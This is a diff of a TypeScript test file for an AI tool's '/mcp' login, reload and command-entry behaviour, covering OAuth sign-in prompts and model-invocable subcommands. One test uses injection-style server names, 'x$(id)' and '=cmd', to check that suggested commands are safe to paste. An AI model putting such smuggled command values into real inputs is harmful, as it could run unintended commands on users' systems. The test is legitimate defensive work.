revoke: async () => summary(),
|
|
372
|
+
oauthLogin: (request) => {
|
|
373
|
+
requests.push(request);
|
|
374
|
+
return login(request);
|
|
375
|
+
},
|
|
376
|
+
oauthToolsAdded: (serverId, names) => acknowledged.push([serverId, names]),
|
|
377
|
+
};
|
|
378
|
+
const host = createTestCommandHost({
|
|
379
|
+
overrides: {
|
|
380
|
+
getCommandHostAdapters: () => ({ mcpActivation: port }),
|
|
381
|
+
getUserInteraction: () =>
|
|
382
|
+
answer === undefined
|
|
383
|
+
? undefined
|
|
384
|
+
: {
|
|
385
|
+
ask: async (request) => {
|
|
386
|
+
asked.push(request);
|
|
387
|
+
return typeof answer === 'function' ? answer(request) : answer;
|
|
388
|
+
},
|
|
389
|
+
},
|
|
390
|
+
},
|
|
391
|
+
});
|
|
392
|
+
const session = host.getSession();
|
|
393
|
+
host.getSession = () => ({
|
|
394
|
+
...session,
|
|
395
|
+
addTools: async (tools) => {
|
|
396
|
+
added.push([...tools]);
|
|
397
|
+
return taken(tools.map((tool) => tool.schema.name));
|
|
398
|
+
},
|
|
399
|
+
});
|
|
400
|
+
return {
|
|
401
|
+
requests,
|
|
402
|
+
added,
|
|
403
|
+
asked,
|
|
404
|
+
acknowledged,
|
|
405
|
+
run: (args) => executeMCPActivationCommand(host, args),
|
|
406
|
+
};
|
|
407
|
+
}
|
|
408
|
+
|
|
409
|
+
const signedIn = (
|
|
410
|
+
serverId: string,
|
|
411
|
+
extra: Partial<ICommandMCPOAuthLoginResult> = {},
|
|
412
|
+
): ICommandMCPOAuthLoginResult => ({
|
|
413
|
+
serverId,
|
|
414
|
+
preRegisteredClient: false,
|
|
415
|
+
connection: 'connected',
|
|
416
|
+
tools: [forecast],
|
|
417
|
+
...extra,
|
|
418
|
+
});
|
|
419
|
+
|
|
420
|
+
it('signs in and adds the connected server tools to this session', async () => {
|
|
421
|
+
const h = harness(async (request) => signedIn(request.serverId));
|
|
422
|
+
const result = await h.run('login files');
|
|
423
|
+
expect(result.success).toBe(true);
|
|
424
|
+
expect(result.message).toBe(
|
|
425
|
+
'Signed in to MCP server files; 1 of its tools is available from your next message.',
|
|
426
|
+
);
|
|
427
|
+
expect(h.requests[0]).toMatchObject({ serverId: 'files', noBrowser: false });
|
|
428
|
+
expect(h.added).toEqual([[forecast]]);
|
|
429
|
+
expect(result.data).toEqual({
|
|
430
|
+
serverId: 'files',
|
|
431
|
+
connection: 'connected',
|
|
432
|
+
tools: ['files__read'],
|
|
433
|
+
});
|
|
434
|
+
});
|
|
435
|
+
|
|
436
|
+
it('asks for the pasted redirect through the session prompt, masked', async () => {
|
|
437
|
+
const h = harness(
|
|
438
|
+
async (request) => {
|
|
439
|
+
const pasted = await request.readRedirect?.(
|
|
440
|
+
{
|
|
441
|
+
authorizationUrl: 'https://auth.example.test/authorize?x=1',
|
|
442
|
+
redirectUri: 'http://127.0.0.1:1234/callback',
|
|
443
|
+
},
|
|
444
|
+
new AbortController().signal,
|
|
445
|
+
);
|
|
446
|
+
expect(pasted).toBe('http://127.0.0.1:1234/callback?code=c&state=s');
|
|
447
|
+
return signedIn(request.serverId);
|
|
448
|
+
},
|
|
449
|
+
{ type: 'answer', values: [], text: 'http://127.0.0.1:1234/callback?code=c&state=s' },
|
|
450
|
+
);
|
|
451
|
+
const result = await h.run('login files --no-browser');
|
|
452
|
+
expect(result.success).toBe(true);
|
|
453
|
+
expect(h.requests[0]?.noBrowser).toBe(true);
|
|
454
|
+
expect(h.asked).toHaveLength(1);
|
|
455
|
+
expect(h.asked[0]).toMatchObject({ masked: true, allowFreeText: true });
|
|
456
|
+
expect(h.asked[0]?.description).toContain('https://auth.example.test/authorize?x=1');
|
|
457
|
+
// The pasted redirect carries a code; it is never part of the result.
|
|
458
|
+
expect(JSON.stringify(result)).not.toContain('code=c');
|
|
459
|
+
});
|
|
460
|
+
|
|
461
|
+
it('treats a dismissed paste as a cancelled sign-in', async () => {
|
|
462
|
+
const h = harness(
|
|
463
|
+
async (request) => {
|
|
464
|
+
await expect(
|
|
465
|
+
request.readRedirect?.(
|
|
466
|
+
{ authorizationUrl: 'https://a.test/', redirectUri: 'http://127.0.0.1:1/callback' },
|
|
467
|
+
new AbortController().signal,
|
|
468
|
+
),
|
|
469
|
+
).rejects.toThrow();
|
|
470
|
+
return {
|
|
471
|
+
serverId: request.serverId,
|
|
472
|
+
failure: 'cancelled',
|
|
473
|
+
preRegisteredClient: false,
|
|
474
|
+
tools: [],
|
|
475
|
+
};
|
|
476
|
+
},
|
|
477
|
+
{ type: 'cancelled' },
|
|
478
|
+
);
|
|
479
|
+
const result = await h.run('login files --no-browser');
|
|
480
|
+
expect(result.success).toBe(false);
|
|
481
|
+
expect(result.message).toBe(
|
|
482
|
+
'Sign-in to MCP server files failed (cancelled); nothing was changed.',
|
|
483
|
+
);
|
|
484
|
+
expect(h.added).toEqual([]);
|
|
485
|
+
});
|
|
486
|
+
|
|
487
|
+
it('asks nothing for a sign-in that has already ended', async () => {
|
|
488
|
+
const ended = new AbortController();
|
|
489
|
+
ended.abort();
|
|
490
|
+
let choice: string | undefined;
|
|
491
|
+
const h = harness(
|
|
492
|
+
async (request) => {
|
|
493
|
+
choice = await request.confirmBrowser!(PROMPT, ended.signal);
|
|
494
|
+
await expect(request.readRedirect!(PROMPT, ended.signal)).rejects.toThrow();
|
|
495
|
+
return {
|
|
496
|
+
serverId: request.serverId,
|
|
497
|
+
failure: 'cancelled',
|
|
498
|
+
preRegisteredClient: false,
|
|
499
|
+
tools: [],
|
|
500
|
+
};
|
|
501
|
+
},
|
|
502
|
+
{ type: 'answer', values: ['open'], text: 'http://127.0.0.1:1/callback?code=c&state=s' },
|
|
503
|
+
);
|
|
504
|
+
await h.run('login files');
|
|
505
|
+
expect(choice).toBe('cancel');
|
|
506
|
+
expect(h.asked).toEqual([]);
|
|
507
|
+
});
|
|
508
|
+
|
|
509
|
+
it('never opens the browser for a sign-in that ended while the user was choosing', async () => {
|
|
510
|
+
const signIn = new AbortController();
|
|
511
|
+
let choice: string | undefined;
|
|
512
|
+
const h = harness(
|
|
513
|
+
async (request) => {
|
|
514
|
+
choice = await request.confirmBrowser!(PROMPT, signIn.signal);
|
|
515
|
+
return signedIn(request.serverId);
|
|
516
|
+
},
|
|
517
|
+
() => {
|
|
518
|
+
// The sign-in times out while the question is still open; the user then picks `open`.
|
|
519
|
+
signIn.abort();
|
|
520
|
+
return { type: 'answer', values: ['open'] };
|
|
521
|
+
},
|
|
522
|
+
);
|
|
523
|
+
await h.run('login files');
|
|
524
|
+
expect(h.asked).toHaveLength(1);
|
|
525
|
+
expect(choice).toBe('cancel');
|
|
526
|
+
});
|
|
527
|
+
|
|
528
|
+
it('never asks for a client secret, and names the terminal command instead', async () => {
|
|
529
|
+
const h = harness(async (request) => signedIn(request.serverId));
|
|
530
|
+
const result = await h.run('login files --client-secret');
|
|
531
|
+
expect(result.success).toBe(false);
|
|
532
|
+
expect(result.message).toContain('Sign in from a terminal configured for this product.');
|
|
533
|
+
expect(h.requests).toEqual([]);
|
|
534
|
+
});
|
|
535
|
+
|
|
536
|
+
it('suggests the secret sign-in only for a pre-registered client whose exchange failed', async () => {
|
|
537
|
+
const failing = (preRegisteredClient: boolean) =>
|
|
538
|
+
harness(async (request) => ({
|
|
539
|
+
serverId: request.serverId,
|
|
540
|
+
failure: 'token-exchange-failed',
|
|
541
|
+
preRegisteredClient,
|
|
542
|
+
tools: [],
|
|
543
|
+
})).run('login files');
|
|
544
|
+
expect((await failing(true)).message).toContain(
|
|
545
|
+
'sign in from a terminal configured for this product',
|
|
546
|
+
);
|
|
547
|
+
expect((await failing(false)).message).not.toContain('--client-secret');
|
|
548
|
+
});
|
|
549
|
+
|
|
550
|
+
it('shows a server name in a suggested command only when it is safe to paste', async () => {
|
|
551
|
+
const h = harness(async (request) => ({
|
|
552
|
+
serverId: request.serverId,
|
|
553
|
+
failure: 'browser-failed',
|
|
554
|
+
preRegisteredClient: false,
|
|
555
|
+
tools: [],
|
|
556
|
+
}));
|
|
557
|
+
expect((await h.run('login files')).message).toContain('/mcp login files --no-browser');
|
|
558
|
+
expect((await h.run('login x$(id)')).message).toContain('/mcp login <server> --no-browser');
|
|
559
|
+
expect((await h.run('login =cmd --client-secret')).message).toContain(
|
|
560
|
+
'Sign in from a terminal configured for this product.',
|
|
561
|
+
);
|
|
562
|
+
});
|
|
563
|
+
|
|
564
|
+
it('says how the server stands when it did not connect', async () => {
|
|
565
|
+
const run = (connection: ICommandMCPOAuthLoginResult['connection']) =>
|
|
566
|
+
harness(async (request) => signedIn(request.serverId, { connection, tools: [] })).run(
|
|
567
|
+
'login files',
|
|
568
|
+
);
|
|
569
|
+
expect((await run('recovered')).message).toBe(
|
|
570
|
+
'Signed in to MCP server files; its tools work again.',
|
|
571
|
+
);
|
|
572
|
+
expect((await run('not-admitted')).message).toContain('not approved for this session');
|
|
573
|
+
expect((await run('not-connected')).message).toContain('could not connect in this session');
|
|
574
|
+
});
|
|
575
|
+
|
|
576
|
+
const PROMPT = {
|
|
577
|
+
authorizationUrl: 'https://auth.example.test/authorize?x=1',
|
|
578
|
+
redirectUri: 'http://127.0.0.1:1234/callback',
|
|
579
|
+
};
|
|
580
|
+
|
|
581
|
+
it('shows the authorization URL before the browser opens, and lets the user cancel', async () => {
|
|
582
|
+
const choices: string[] = [];
|
|
583
|
+
let signal: AbortSignal | undefined;
|
|
584
|
+
const h = harness(
|
|
585
|
+
async (request) => {
|
|
586
|
+
signal = request.signal;
|
|
587
|
+
const choice = await request.confirmBrowser!(PROMPT, new AbortController().signal);
|
|
588
|
+
choices.push(choice);
|
|
589
|
+
return {
|
|
590
|
+
serverId: request.serverId,
|
|
591
|
+
failure: 'cancelled',
|
|
592
|
+
preRegisteredClient: false,
|
|
593
|
+
tools: [],
|
|
594
|
+
};
|
|
595
|
+
},
|
|
596
|
+
(request) => ({ type: 'answer', values: [request.options?.at(-1)?.value ?? ''] }),
|
|
597
|
+
);
|
|
598
|
+
const result = await h.run('login files');
|
|
599
|
+
expect(h.asked[0]?.description).toContain(PROMPT.authorizationUrl);
|
|
600
|
+
expect(h.asked[0]?.options?.map((option) => option.value)).toEqual(['open', 'paste', 'cancel']);
|
|
601
|
+
expect(choices).toEqual(['cancel']);
|
|
602
|
+
// The cancel reaches the sign-in itself.
|
|
603
|
+
expect(signal?.aborted).toBe(true);
|
|
604
|
+
expect(result.success).toBe(false);
|
|
605
|
+
expect(h.added).toEqual([]);
|
|
606
|
+
});
|
|
607
|
+
|
|
608
|
+
it('opens the browser, or pastes instead, as the user chooses', async () => {
|
|
609
|
+
const chosen = async (value: string) => {
|
|
610
|
+
let choice: string | undefined;
|
|
611
|
+
const h = harness(
|
|
612
|
+
async (request) => {
|
|
613
|
+
choice = await request.confirmBrowser!(PROMPT, new AbortController().signal);
|
|
614
|
+
return signedIn(request.serverId);
|
|
615
|
+
},
|
|
616
|
+
{ type: 'answer', values: [value] },
|
|
617
|
+
);
|
|
618
|
+
await h.run('login files');
|
|
619
|
+
return choice;
|
|
620
|
+
};
|
|
621
|
+
expect(await chosen('open')).toBe('open');
|
|
622
|
+
expect(await chosen('paste')).toBe('paste');
|
|
623
|
+
// With --no-browser there is nothing to confirm: the paste prompt shows the URL.
|
|
624
|
+
const h = harness(async (request) => signedIn(request.serverId), {
|
|
625
|
+
type: 'answer',
|
|
626
|
+
values: ['open'],
|
|
627
|
+
});
|
|
628
|
+
await h.run('login files --no-browser');
|
|
629
|
+
expect(h.requests[0]?.confirmBrowser).toBeUndefined();
|
|
630
|
+
});
|
|
631
|
+
|
|
632
|
+
it('reports tools left out for a name the session already has, and acknowledges the rest', async () => {
|
|
633
|
+
const other = new FunctionTool(
|
|
634
|
+
{ name: 'files__list', description: 'List', parameters: { type: 'object', properties: {} } },
|
|
635
|
+
async () => 'ok',
|
|
636
|
+
);
|
|
637
|
+
const h = harness(
|
|
638
|
+
async (request) => signedIn(request.serverId, { tools: [forecast, other] }),
|
|
639
|
+
undefined,
|
|
640
|
+
(names) => names.filter((name) => name !== 'files__read'),
|
|
641
|
+
);
|
|
642
|
+
const result = await h.run('login files');
|
|
643
|
+
expect(result.message).toBe(
|
|
644
|
+
'Signed in to MCP server files; 1 of its tools is available from your next message. ' +
|
|
645
|
+
'1 of its tools was left out: the session already has a tool by that name.',
|
|
646
|
+
);
|
|
647
|
+
expect(h.acknowledged).toEqual([['files', ['files__list']]]);
|
|
648
|
+
});
|
|
649
|
+
|
|
650
|
+
it('needs exactly one server', async () => {
|
|
651
|
+
const h = harness(async (request) => signedIn(request.serverId));
|
|
652
|
+
expect((await h.run('login')).message).toBe('Usage: /mcp login <serverId> [--no-browser]');
|
|
653
|
+
expect((await h.run('login a b')).success).toBe(false);
|
|
654
|
+
expect(h.requests).toEqual([]);
|
|
655
|
+
});
|
|
656
|
+
});
|
|
657
|
+
|
|
658
|
+
describe('/mcp reload (#3282 §4 part b-2)', () => {
|
|
659
|
+
function harness(
|
|
660
|
+
reload: ICommandMCPActivationAdapter['reload'],
|
|
661
|
+
taken: (names: string[]) => string[] = (names) => names,
|
|
662
|
+
approve: ICommandMCPActivationAdapter['approve'] = async () => summary(),
|
|
663
|
+
) {
|
|
664
|
+
const added: IToolWithEventService[][] = [];
|
|
665
|
+
const reloadToolsAddedCalls: { token: string; added: readonly string[] }[] = [];
|
|
666
|
+
const port: ICommandMCPActivationAdapter = {
|
|
667
|
+
list: () => [],
|
|
668
|
+
approve,
|
|
669
|
+
reject: async () => summary({ status: 'rejected', allowed: false }),
|
|
670
|
+
revoke: async () => summary(),
|
|
671
|
+
reload,
|
|
672
|
+
reloadToolsAdded: (token, names) => reloadToolsAddedCalls.push({ token, added: names }),
|
|
673
|
+
};
|
|
674
|
+
const host = createTestCommandHost({
|
|
675
|
+
overrides: { getCommandHostAdapters: () => ({ mcpActivation: port }) },
|
|
676
|
+
});
|
|
677
|
+
const session = host.getSession();
|
|
678
|
+
host.getSession = () => ({
|
|
679
|
+
...session,
|
|
680
|
+
addTools: async (tools) => {
|
|
681
|
+
added.push([...tools]);
|
|
682
|
+
return taken(tools.map((tool) => tool.schema.name));
|
|
683
|
+
},
|
|
684
|
+
});
|
|
685
|
+
return {
|
|
686
|
+
added,
|
|
687
|
+
reloadToolsAddedCalls,
|
|
688
|
+
run: (args: string) => executeMCPActivationCommand(host, args),
|
|
689
|
+
};
|
|
690
|
+
}
|
|
691
|
+
|
|
692
|
+
const forecast = new FunctionTool(
|
|
693
|
+
{
|
|
694
|
+
name: 'weather__forecast',
|
|
695
|
+
description: 'Forecast',
|
|
696
|
+
parameters: { type: 'object', properties: {} },
|
|
697
|
+
},
|
|
698
|
+
async () => 'sunny',
|
|
699
|
+
);
|
|
700
|
+
|
|
701
|
+
it('retries not-connected servers, adds the new tools to the session, and names what changed', async () => {
|
|
702
|
+
const h = harness(async () => ({
|
|
703
|
+
tools: [forecast],
|
|
704
|
+
connectedServerIds: ['weather'],
|
|
705
|
+
failedServerIds: ['flaky'],
|
|
706
|
+
reloadToken: 'token-1',
|
|
707
|
+
}));
|
|
708
|
+
|
|
709
|
+
const result = await h.run('reload');
|
|
710
|
+
|
|
711
|
+
expect(result.success).toBe(true);
|
|
712
|
+
expect(result.message).toContain('Connected: weather.');
|
|
713
|
+
expect(result.message).toContain('Still not connected: flaky');
|
|
714
|
+
expect(h.added).toEqual([[forecast]]);
|
|
715
|
+
expect(result.data).toEqual({
|
|
716
|
+
connectedServerIds: ['weather'],
|
|
717
|
+
failedServerIds: ['flaky'],
|
|
718
|
+
tools: ['weather__forecast'],
|
|
719
|
+
});
|
|
720
|
+
});
|
|
721
|
+
|
|
722
|
+
it('says plainly when nothing newly connected', async () => {
|
|
723
|
+
const h = harness(async () => ({ tools: [], connectedServerIds: [], failedServerIds: [] }));
|
|
724
|
+
const result = await h.run('reload');
|
|
725
|
+
expect(result.success).toBe(true);
|
|
726
|
+
expect(result.message).toContain('No server newly connected.');
|
|
727
|
+
});
|
|
728
|
+
|
|
729
|
+
it('an approval connects the server in the running session', async () => {
|
|
730
|
+
const reload = vi.fn(async () => ({
|
|
731
|
+
tools: [forecast],
|
|
732
|
+
connectedServerIds: ['weather'],
|
|
733
|
+
failedServerIds: [],
|
|
734
|
+
reloadToken: 'token-1',
|
|
735
|
+
}));
|
|
736
|
+
const h = harness(reload, undefined, async () =>
|
|
737
|
+
summary({ serverId: 'weather', status: 'approved', allowed: true, reason: 'Approved.' }),
|
|
738
|
+
);
|
|
739
|
+
|
|
740
|
+
const result = await h.run('approve weather');
|
|
741
|
+
|
|
742
|
+
expect(reload).toHaveBeenCalledOnce();
|
|
743
|
+
expect(result.success).toBe(true);
|
|
744
|
+
expect(result.message).toContain('is now approved');
|
|
745
|
+
expect(result.message).toContain('Connected: weather.');
|
|
746
|
+
expect(h.added).toEqual([[forecast]]);
|
|
747
|
+
});
|
|
748
|
+
|
|
749
|
+
it('acknowledges an empty-tool connection before approving another server', async () => {
|
|
750
|
+
let released = false;
|
|
751
|
+
const h = harness(
|
|
752
|
+
async () =>
|
|
753
|
+
released
|
|
754
|
+
? {
|
|
755
|
+
tools: [forecast],
|
|
756
|
+
connectedServerIds: ['weather'],
|
|
757
|
+
failedServerIds: [],
|
|
758
|
+
reloadToken: 'second',
|
|
759
|
+
}
|
|
760
|
+
: { tools: [], connectedServerIds: ['empty'], failedServerIds: [], reloadToken: 'first' },
|
|
761
|
+
undefined,
|
|
762
|
+
async (id) => summary({ serverId: id, status: 'approved', allowed: true }),
|
|
763
|
+
);
|
|
764
|
+
await h.run('approve empty');
|
|
765
|
+
released = h.reloadToolsAddedCalls.some((call) => call.token === 'first');
|
|
766
|
+
const result = await h.run('approve weather');
|
|
767
|
+
expect(result.message).toContain('Connected: weather.');
|
|
768
|
+
expect(h.reloadToolsAddedCalls).toEqual([
|
|
769
|
+
{ token: 'first', added: [] },
|
|
770
|
+
{ token: 'second', added: ['weather__forecast'] },
|
|
771
|
+
]);
|
|
772
|
+
});
|
|
773
|
+
|
|
774
|
+
it('preserves a saved approval when connecting fails, and suggests reload', async () => {
|
|
775
|
+
const h = harness(
|
|
776
|
+
async () => {
|
|
777
|
+
throw new Error('connection failed');
|
|
778
|
+
},
|
|
779
|
+
undefined,
|
|
780
|
+
async () => summary({ status: 'approved', allowed: true }),
|
|
781
|
+
);
|
|
782
|
+
const result = await h.run('approve weather');
|
|
783
|
+
expect(result.success).toBe(true);
|
|
784
|
+
expect(result.data).toMatchObject({ status: 'approved', allowed: true });
|
|
785
|
+
expect(result.message).toContain('connection failed');
|
|
786
|
+
expect(result.message).toContain('/mcp reload');
|
|
787
|
+
});
|
|
788
|
+
|
|
789
|
+
it('releases a staged reload even when adding tools throws', async () => {
|
|
790
|
+
const h = harness(
|
|
791
|
+
async () => ({
|
|
792
|
+
tools: [forecast],
|
|
793
|
+
connectedServerIds: ['weather'],
|
|
794
|
+
failedServerIds: [],
|
|
795
|
+
reloadToken: 'token-failed',
|
|
796
|
+
}),
|
|
797
|
+
() => {
|
|
798
|
+
throw new Error('cannot add tools');
|
|
799
|
+
},
|
|
800
|
+
async () => summary({ status: 'approved', allowed: true }),
|
|
801
|
+
);
|
|
802
|
+
const result = await h.run('approve weather');
|
|
803
|
+
expect(result.success).toBe(true);
|
|
804
|
+
expect(h.reloadToolsAddedCalls).toEqual([{ token: 'token-failed', added: [] }]);
|
|
805
|
+
});
|
|
806
|
+
|
|
807
|
+
it('a decision that is not an approval connects nothing', async () => {
|
|
808
|
+
const reload = vi.fn(async () => ({ tools: [], connectedServerIds: [], failedServerIds: [] }));
|
|
809
|
+
const h = harness(reload);
|
|
810
|
+
|
|
811
|
+
await h.run('reject weather');
|
|
812
|
+
await h.run('approve weather');
|
|
813
|
+
|
|
814
|
+
expect(reload).not.toHaveBeenCalled();
|
|
815
|
+
});
|
|
816
|
+
|
|
817
|
+
it('is refused when the host offers no reload', async () => {
|
|
818
|
+
const h = harness(undefined);
|
|
819
|
+
const result = await h.run('reload');
|
|
820
|
+
expect(result.success).toBe(false);
|
|
821
|
+
expect(result.message).toBe('Reloading MCP servers is not available in this environment.');
|
|
822
|
+
});
|
|
823
|
+
|
|
824
|
+
it('tells the port which reloaded tools the session actually took, keyed to the reload it came from', async () => {
|
|
825
|
+
const h = harness(
|
|
826
|
+
async () => ({
|
|
827
|
+
tools: [forecast],
|
|
828
|
+
connectedServerIds: ['weather'],
|
|
829
|
+
failedServerIds: [],
|
|
830
|
+
reloadToken: 'token-1',
|
|
831
|
+
}),
|
|
832
|
+
(names) => names,
|
|
833
|
+
);
|
|
834
|
+
|
|
835
|
+
const result = await h.run('reload');
|
|
836
|
+
|
|
837
|
+
expect(result.success).toBe(true);
|
|
838
|
+
expect(h.reloadToolsAddedCalls).toEqual([{ token: 'token-1', added: ['weather__forecast'] }]);
|
|
839
|
+
});
|
|
840
|
+
|
|
841
|
+
it('tells the port when a reloaded tool collided and was dropped', async () => {
|
|
842
|
+
const h = harness(
|
|
843
|
+
async () => ({
|
|
844
|
+
tools: [forecast],
|
|
845
|
+
connectedServerIds: ['weather'],
|
|
846
|
+
failedServerIds: [],
|
|
847
|
+
reloadToken: 'token-1',
|
|
848
|
+
}),
|
|
849
|
+
() => [],
|
|
850
|
+
);
|
|
851
|
+
|
|
852
|
+
const result = await h.run('reload');
|
|
853
|
+
|
|
854
|
+
expect(result.success).toBe(true);
|
|
855
|
+
expect(h.reloadToolsAddedCalls).toEqual([{ token: 'token-1', added: [] }]);
|
|
856
|
+
});
|
|
857
|
+
|
|
858
|
+
it('never calls it when the reload has no token to acknowledge (nothing staged)', async () => {
|
|
859
|
+
// A defensive case: a host that returned tools without a token (should not happen in practice,
|
|
860
|
+
// since the composition only omits one when there is nothing to stage) must not be acknowledged
|
|
861
|
+
// — there would be nothing for the token to correlate to.
|
|
862
|
+
const h = harness(async () => ({
|
|
863
|
+
tools: [forecast],
|
|
864
|
+
connectedServerIds: ['weather'],
|
|
865
|
+
failedServerIds: [],
|
|
866
|
+
}));
|
|
867
|
+
|
|
868
|
+
await h.run('reload');
|
|
869
|
+
|
|
870
|
+
expect(h.reloadToolsAddedCalls).toEqual([]);
|
|
871
|
+
});
|
|
872
|
+
|
|
873
|
+
it('never calls it when nothing newly connected', async () => {
|
|
874
|
+
const h = harness(async () => ({ tools: [], connectedServerIds: [], failedServerIds: [] }));
|
|
875
|
+
|
|
876
|
+
await h.run('reload');
|
|
877
|
+
|
|
878
|
+
expect(h.reloadToolsAddedCalls).toEqual([]);
|
|
879
|
+
});
|
|
880
|
+
});
|
|
881
|
+
|
|
882
|
+
describe('/mcp command entry', () => {
|
|
883
|
+
it('opens status and skill metadata to the model, and describes login for the user', () => {
|
|
884
|
+
const entry = createMCPActivationCommandEntry();
|
|
885
|
+
// Model-invocable only through its read-only `status`; every verb that changes trust or a
|
|
886
|
+
// credential is declared user-only (model-exposure.test.ts pins the refusal).
|
|
887
|
+
expect(entry.modelInvocable).toBe(true);
|
|
888
|
+
expect(
|
|
889
|
+
(entry.subcommands ?? []).filter((sub) => sub.modelInvocable === true).map((s) => s.name),
|
|
890
|
+
).toEqual(['status', 'skill-list']);
|
|
891
|
+
expect(entry.description).toMatch(/sign in/);
|
|
892
|
+
expect(entry.description).toMatch(/Returns/);
|
|
893
|
+
expect(entry.argumentHint).toContain('login <server> [--no-browser]');
|
|
894
|
+
});
|
|
895
|
+
});
|